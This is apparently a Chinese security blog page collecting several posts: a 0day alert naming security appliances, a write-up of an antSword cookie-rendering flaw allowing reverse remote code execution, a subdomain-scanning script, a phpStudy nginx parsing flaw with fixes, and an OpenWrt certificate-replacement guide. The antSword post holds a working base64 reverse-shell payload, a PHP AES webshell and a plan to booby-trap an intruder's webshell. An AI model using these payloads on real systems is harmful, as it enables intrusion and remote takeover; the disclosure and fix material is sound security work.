HW情报之-多家安全厂商设备0day 业界新闻
接情报消息,深信服EDR(新)、奇治堡垒机、联软准入、天融信Top-app LB负载均衡及绿盟UTS等设备存在0day漏洞,请各企事业单位根据资产情况,梳理本单位存在以上设备的情况,加强监控,以避免遭受攻击
恶意红队IP:http://d.zaix.ru/ntbv.txt
HW弹药库之你的蚁剑shell还是你的shell吗? 技术文章
HW弹药库之你的蚁剑 shell 还是你的 shell 吗?可能从你的小宝贝变成了小叛徒哦!
——蚁剑 v2.1.8.1 查看站点 cookie html解析未过滤漏洞可反向 RCE
0X0:背景
说来我等菜鸡是不会也没想过去审计这些工具源码,哪怕是开源的,都是拿来主义,大部分看官也是吧。
但是我这个人对于情报搜集特别感兴趣!时常监控一些开源项目或者官网的commit或者更新公告,这不前段时间就看到了芋头师傅(leohearts)提交了一个issue 包含了我的监控关键字 RCE ,
我当时就看了,当时复现了下,但是没有记录,等着 Medicean 师傅修好了我再发,前天,终于修了!距离提交的时间是十一天过后,可能师傅工作比较忙吧!
0X1:复现环节
打开我们的主角-antSword ,在关于程序里面可以看到版本为 v2.1.8.1,下面开始测试,首先在本地PHP环境目录写一个html文件,内容为:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3> <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script> </body> </html>
然后在 antSword 里面添加我们的本地测试URL,密码 连接类型这些随便写,地址写对了就行
添加好了之后,在本地使用 NC 监听 nc -lv 666 因为上面的 base64 编码后的就是反弹 shell 到我们的666端口,不多说,不懂得 Google
然后我们再用 antSword 右键的 查看站点(英文的为 View Site)即可触发获得一个 shell
看一下 Medicean 师傅的 commit 极了可以看到修复的方式是在 cookie 取值的部分添加了 noxss 方法来进行了 XSS 过滤。
0X2:漏洞利用
复现完毕后我就在思考,能不能借此做点小动作?答案是可以的!
想一下,本身是 html格式的URL地址,除了故意这么去复现的查看站点,很少有人拿到shell后去这么干!除非 shell 需要设置 cookie,从 cookie 里取值,这个时候就很容易想到蚁剑的 AES shell 需要设置 cookie ,那就有利用的可能了!
有两种情况,第一种是本身就是 PHP 的 shell ,如果 黑客的 webshell 是使用的 蚁剑的 AES webshell ,基本代码如下:
<?php @session_start(); $pwd='ant'; $key=@substr(str_pad(session_id(),16,'a'),0,16); @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING)); ?>
假如黑客 webshell 如上 名为 shell.php ,我们可以把他的 shell 改为如下内容:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3> <?php @session_start(); $pwd='ant'; $key=@substr(str_pad(session_id(),16,'a'),0,16); @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING)); ?> <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script> </body> </html>
直接把他的 shell 改为 html 和 PHP 代码混写!
因为 PHP 本身就可以这么写,而且可以同时执行 PHP 代码和 html 代码。
当然,真实情况下我们要做的隐蔽点 把 没必要的 标题和 H3 这些丢弃。改写后的 shell 如何让黑客再次使用 查看站点 功能来获取 cookie 这是个问题,需要让他原本保存的 cookie 失效,比如重启 PHP 清除缓存 等方法尝试,假设你达成了如上条件,成功清除了 黑客 shell cookie ,那么接下来就是他 连接 shell 发现连接不上,打开 shell 地址发现还在,可能会使用 查看站点的功能来 获取cookie ,就可以顺利的 获得一个反向shell。
测试是在 Mac 环境下测试,可以根据情况修改需要执行的操作,比如直接执行 CS 后门或者 PS下载执行 等等。
0X3:总结
这个漏洞很鸡肋!
其一:需要使用 查看站点功能;
其二:需要让之前的shell cookie 失效;
其三:配合特定的环境,比如解析漏洞或者.htaccess
但是也是一种思路,说不定你就可以借此反日 大黑阔!哈哈哈。各位朋友,使用工具须谨慎!说不定还要未公开的 XXday 等着你上钩呢!最起码 把工作和生活用电脑环境区分开,使用个虚拟机,虚拟机一定要开启自动升级,保持最新版,虚拟机里最好再套两层代理,保护自己,保护大家!
参考连接:
https://github.com/AntSwordProject/antSword/issues/256
https://github.com/AntSwordProject/antSword/commit/0d5b8b7c4f5f9520b0cacb7306beb190efa19881
subdomain_shell-一键调用subfinder+ksubdomain_mac+httpx 技术文章
subdomain_shell
一键调用subfinder+ksubdomain+httpx 强强联合 从域名发现-->域名验证-->获取域名标题、状态码以及响应大小 最后保存结果,简化重复操作命令
因为懒 \-_-\ 不想重复写命令,故诞生此项目
暂时只写了个单域名的,后面找时间补上从文件加载多域名脚本 其实加个判断调整下基本上就OK,欢迎各位师傅 pull 啊
后期考虑加上 xray 的主动爬虫 来个简单的从域名到基本信息搜集的过程,可以做成定时任务,再入库?越来越复杂。。。拉闸 暂时先这样
tested on Mac & Ubuntu
食用方法
1.自行下载脚本,准备文件
2.下载我打包好的,下载解压开箱即用点我下载
Mac 脚本测试
运行后自动保存结果
Ubuntu 脚本测试
项目地址:https://github.com/Mr-xn/subdomain_shell
【0day】phpStudy(小皮面板)最新版v8.1.0.7 nginx 解析漏洞 业界新闻
一、phpStudy(小皮面板)简介:
phpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。
二、漏洞简介:
自从2019年phpStudy爆出的后门事件已经过去一段时间了,期间也没有爆出过什么漏洞,并且现在phpStudy(小皮面板)已经改版了,这次爆出的漏洞是nginx的解析漏洞,也就是存在已久的/xx.php解析漏洞
漏洞原理:
1、由于错误配置(但是测试的时候是安装完后的默认配置,我在官方论坛也反馈了,他们还狡辩。。。)导致nginx把以.php结尾的文件交给fastcgi处理,为此可以构造http://www.xxx.com/test.gif/xx.php (任何服务器端不存在的php文件均可,比如a.php)
2、但是fastcgi在处理xx.php文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了/test.gif。
3、 最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将.png等文件当做代码解析。
localhost_80.conf原始配置:
location ~ \.php(.*)$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_split_path_info ^((?U).+\.php)(/?.+)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info; include fastcgi_params; }
三、漏洞复现:
测试环境:phpStudy(小皮面板)8.1.0.7 + 图片马(一定要注意不是那种copy的马子 有几率失败,可以下载这个马子测试)
复现如图:
执行系统命令:
四、修复
php.ini 中 fix_pathinfo 禁用为0
cgi.fix_pathinfo=0
nginx.conf添加如下代码
location ~ \.php(.*)$ { if ( $fastcgi_script_name ~ \..*\/.*php ){ return 403; } fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_split_path_info ^((?U).+\.php)(/?.+)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info; include fastcgi_params; }
请各位师傅下手轻点!注意保重!哈哈哈!
OpenWrt UnblockNeteaseMusicGo 插件 证书过期替换 技术文章
事件起因是我想听的歌曲,在网抑云听不了,我都开了VIP,还是由于版权原因,听不了。。。我难道要每一家都去开vip吗?同时开通每一家的VIP?没那个精力和金钱!那就用路由器搞起来!
打开路由器发现解锁音乐的插件是关闭的,我打开后发现没起作用不说,正常的歌曲也打不开了,
打开music.163.com发现证书错误:
我这个是由于我前一天没更新插件之前,已经手动替换过证书了可以使用了,当时也是证书错误,提示的是证书过期了。。。
前一天的证书替换过程参考如下:
➜ ~ openssl genrsa -out ca.key 2048 Generating RSA private key, 2048 bit long modulus ..............................+++ ..............................................................+++ e is 65537 (0x10001) ➜ ~ openssl req -x509 -new -nodes -key ca.key -sha256 -days 1825 -out ca.crt -subj "/C=CN/CN=UnblockNeteaseMusic Root CA/O=netmusic" ➜ ~ openssl genrsa -out server.key 2048 Generating RSA private key, 2048 bit long modulus .....................................+++ .....................+++ e is 65537 (0x10001) ➜ ~ openssl req -new -sha256 -key server.key -out server.csr -subj "/C=CN/L=Hangzhou/O=NetEase (Hangzhou) Network Co., Ltd/OU=IT Dept./CN=*.music.163.com" ➜ ~ openssl x509 -req -extfile <(printf "extendedKeyUsage=serverAuth\nsubjectAltName=DNS:music.163.com,DNS:*.music.163.com") -sha256 -days 365 -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt Signature ok subject=/C=CN/L=Hangzhou/O=NetEase (Hangzhou) Network Co., Ltd/OU=IT Dept./CN=*.music.163.com Getting CA Private Key ➜ ~ ls Applications Public Applications (Parallels) Virtual Machines.localized Desktop WeChatExtension-ForMac Documents ca.crt Downloads ca.key Library ca.srl Movies iCloud云盘(归档) Music server.crt Parallels server.csr Pictures server.key ➜ ~ pwd
将server.crt server.key 替换掉,路径如下
root@OpenWrt:~# ls -l /usr/share/UnblockNeteaseMusicGo -rw-r--r-- 1 root root 1675 Aug 31 13:10 ca.key -rw-r--r-- 1 root root 1281 Aug 31 13:10 server.crt -rw-r--r-- 1 root root 1679 Aug 31 13:10 server.key root@OpenWrt:~#
再把ca.crt 安装到本机并信任就OK。
下面说一下如何更新插件,我是自己编译的插件,已经打包在GitHub仓库了,可以自己下载,链接放在最后。
你可以通过路由后台的文件上传或者是手动使用scp或者其他工具将插件上传到/tmp/目录,然后使用dpkg install 插件包名 来安装更新。我这个固件本身后台有文件上传:
上传完毕,就可以自行安装了。安装更新后就可以去网易云音乐解锁那个界面下载ca证书,然后本地安装,信任:
搞定后,打开网易云官网,查看证书,就是我们自己的证书,都OK了
编译备份插件文件列表:
编译时间:2020/09/01 . ├── brcmfmac-firmware-usb_20200619-1_arm_cortex-a9.ipk ├── busybox_1.31.1-2_arm_cortex-a9.ipk ├── ca-certificates_20200601-1_all.ipk ├── coremark_2020-05-28-7685fd32-15_arm_cortex-a9.ipk ├── ddns-scripts_aliyun_1.0.3-1_all.ipk ├── ddns-scripts_dnspod_1.0.2-1_all.ipk ├── default-settings_2-3_all.ipk ├── dns2socks_2.1-1_arm_cortex-a9.ipk ├── dnsmasq-full_2.81-7_arm_cortex-a9.ipk ├── dropbear_2020.80-1_arm_cortex-a9.ipk ├── firewall_2019-11-22-8174814a-1_arm_cortex-a9.ipk ├── getrandom_2019-12-31-0e34af14-4_arm_cortex-a9.ipk ├── hostapd-common_2020-06-08-5a8b3662-4_arm_cortex-a9.ipk ├── ip-full_5.7.0-2_arm_cortex-a9.ipk ├── ipset_7.4-1_arm_cortex-a9.ipk ├── ipt2socks_1.1.3-1_arm_cortex-a9.ipk ├── iptables-mod-fullconenat_2019-10-21-0cf3b48f-3_arm_cortex-a9.ipk ├── iw_5.4-1_arm_cortex-a9.ipk ├── jshn_2020-05-25-66195aee-1_arm_cortex-a9.ipk ├── jsonfilter_2018-02-04-c7e938d6-1_arm_cortex-a9.ipk ├── k3screenctrl_0.10-2_arm_cortex-a9.ipk ├── k3wifi_1-2_arm_cortex-a9.ipk ├── libblobmsg-json_2020-05-25-66195aee-1_arm_cortex-a9.ipk ├── libelf1_0.179-1_arm_cortex-a9.ipk ├── libevent2-7_2.1.11-2_arm_cortex-a9.ipk ├── libipset13_7.4-1_arm_cortex-a9.ipk ├── libjson-c4_0.13.1-2_arm_cortex-a9.ipk ├── libjson-script_2020-05-25-66195aee-1_arm_cortex-a9.ipk ├── liblua5.1.5_5.1.5-7_arm_cortex-a9.ipk ├── libmbedtls12_2.16.7-1_arm_cortex-a9.ipk ├── libmnl0_1.0.4-2_arm_cortex-a9.ipk ├── libnl-tiny_2019-10-29-0219008c-1_arm_cortex-a9.ipk ├── libopenssl1.1_1.1.1g-1_arm_cortex-a9.ipk ├── libopenssl-conf_1.1.1g-1_arm_cortex-a9.ipk ├── libpcre_8.44-2_arm_cortex-a9.ipk ├── libubox20191228_2020-05-25-66195aee-1_arm_cortex-a9.ipk ├── libubus20191227_2020-02-05-171469e3-1_arm_cortex-a9.ipk ├── libubus-lua_2020-02-05-171469e3-1_arm_cortex-a9.ipk ├── libuci_2018-08-11-4c8b4d6e-2_arm_cortex-a9.ipk ├── libuci-lua_2018-08-11-4c8b4d6e-2_arm_cortex-a9.ipk ├── libuclient20160123_2020-06-17-c6609861-1_arm_cortex-a9.ipk ├── libustream-openssl20200215_2020-03-13-5e1bc342-1_arm_cortex-a9.ipk ├── libuuid1_2.35.1-2_arm_cortex-a9.ipk ├── logd_2019-12-31-0e34af14-4_arm_cortex-a9.ipk ├── lua_5.1.5-7_arm_cortex-a9.ipk ├── luci-app-accesscontrol_1-11_all.ipk ├── luci-app-arpbind_1-3_all.ipk ├── luci-app-autoreboot_1.0-8_all.ipk ├── luci-app-cpufreq_1-5_all.ipk ├── luci-app-filetransfer_1-2_all.ipk ├── luci-app-ramfree_1.0-1_all.ipk ├── luci-app-sfe_1.0-13_all.ipk ├── luci-app-ttyd_1.0-3_all.ipk ├── luci-app-unblockmusic_2.3.5-9_all.ipk ├── luci-app-vlmcsd_1.0-5_all.ipk ├── luci-app-vsftpd_1.0-3_all.ipk ├── luci-app-webadmin_2-1_all.ipk ├── luci-i18n-accesscontrol-zh-cn_1-11_all.ipk ├── luci-i18n-arpbind-zh-cn_1-3_all.ipk ├── luci-i18n-autoreboot-zh-cn_1.0-8_all.ipk ├── luci-i18n-cpufreq-zh-cn_1-5_all.ipk ├── luci-i18n-filetransfer-zh-cn_1-2_all.ipk ├── luci-i18n-ramfree-zh-cn_1.0-1_all.ipk ├── luci-i18n-sfe-zh-cn_1.0-13_all.ipk ├── luci-i18n-ttyd-zh-cn_1.0-3_all.ipk ├── luci-i18n-unblockmusic-zh-cn_2.3.5-9_all.ipk ├── luci-i18n-vlmcsd-zh-cn_1.0-5_all.ipk ├── luci-i18n-vsftpd-zh-cn_1.0-3_all.ipk ├── luci-i18n-webadmin-zh-cn_2-1_all.ipk ├── luci-lib-fs_1.0-1_all.ipk ├── microsocks_1.0-1_arm_cortex-a9.ipk ├── netifd_2020-06-06-51e9fb81-1_arm_cortex-a9.ipk ├── openssl-util_1.1.1g-1_arm_cortex-a9.ipk ├── openwrt-keyring_2019-07-25-8080ef34-1_arm_cortex-a9.ipk ├── opkg_2020-05-07-f2166a89-1_arm_cortex-a9.ipk ├── Packages ├── Packages.gz ├── Packages.manifest ├── Packages.sig ├── pdnsd-alt_1.2.9b-par-a8e46ccba7b0fa2230d6c42ab6dcd92926f6c21d_arm_cortex-a9.ipk ├── ppp_2.4.8-5_arm_cortex-a9.ipk ├── ppp-mod-pppoe_2.4.8-5_arm_cortex-a9.ipk ├── procd_2020-05-28-b9b39e20-2_arm_cortex-a9.ipk ├── redsocks2_0.67-4_arm_cortex-a9.ipk ├── resolveip_2_arm_cortex-a9.ipk ├── rpcd_2020-05-26-078bb57e-1_arm_cortex-a9.ipk ├── shadowsocksr-libev-alt_2.5.6-5_arm_cortex-a9.ipk ├── shadowsocksr-libev-server_2.5.6-5_arm_cortex-a9.ipk ├── shadowsocksr-libev-ssr-local_2.5.6-5_arm_cortex-a9.ipk ├── shellsync_0.2-2_arm_cortex-a9.ipk ├── simple-obfs_0.0.5-5_arm_cortex-a9.ipk ├── swconfig_12_arm_cortex-a9.ipk ├── trojan_1.16.0-1_arm_cortex-a9.ipk ├── ubox_2019-12-31-0e34af14-4_arm_cortex-a9.ipk ├── ubus_2020-02-05-171469e3-1_arm_cortex-a9.ipk ├── ubusd_2020-02-05-171469e3-1_arm_cortex-a9.ipk ├── uci_2018-08-11-4c8b4d6e-2_arm_cortex-a9.ipk ├── uclient-fetch_2020-06-17-c6609861-1_arm_cortex-a9.ipk ├── uhttpd_2020-06-03-939c281c-2_arm_cortex-a9.ipk ├── uhttpd-mod-ubus_2020-06-03-939c281c-2_arm_cortex-a9.ipk ├── UnblockNeteaseMusicGo_0.2.4-1_arm_cortex-a9.ipk ├── urandom-seed_1.0-2_arm_cortex-a9.ipk ├── urngd_2020-01-21-c7f7b6b6-1_arm_cortex-a9.ipk ├── usign_2020-05-23-f1f65026-1_arm_cortex-a9.ipk ├── v2ray_4.27.4-1_arm_cortex-a9.ipk ├── v2ray-plugin_1.4.1-1_arm_cortex-a9.ipk ├── vlmcsd_svn1113-1_arm_cortex-a9.ipk ├── vsftpd-alt_3.0.3-7_arm_cortex-a9.ipk ├── wget_1.20.3-4_arm_cortex-a9.ipk ├── wireless-regdb_2020.04.29-1_all.ipk ├── wol_0.7.1-3_arm_cortex-a9.ipk ├── wpad-basic_2020-06-08-5a8b3662-4_arm_cortex-a9.ipk └── zlib_1.2.11-3_arm_cortex-a9.ipk 0 directories, 113 files
插件GitHub仓库链接:
https://github.com/Mr-xn/k3_packages_backup
参考链接:
https://netflixcn.com/miji/id-50.html
https://github.com/nondanee/UnblockNeteaseMusic/
https://github.com/nondanee/UnblockNeteaseMusic/issues/48#issuecomment-477870013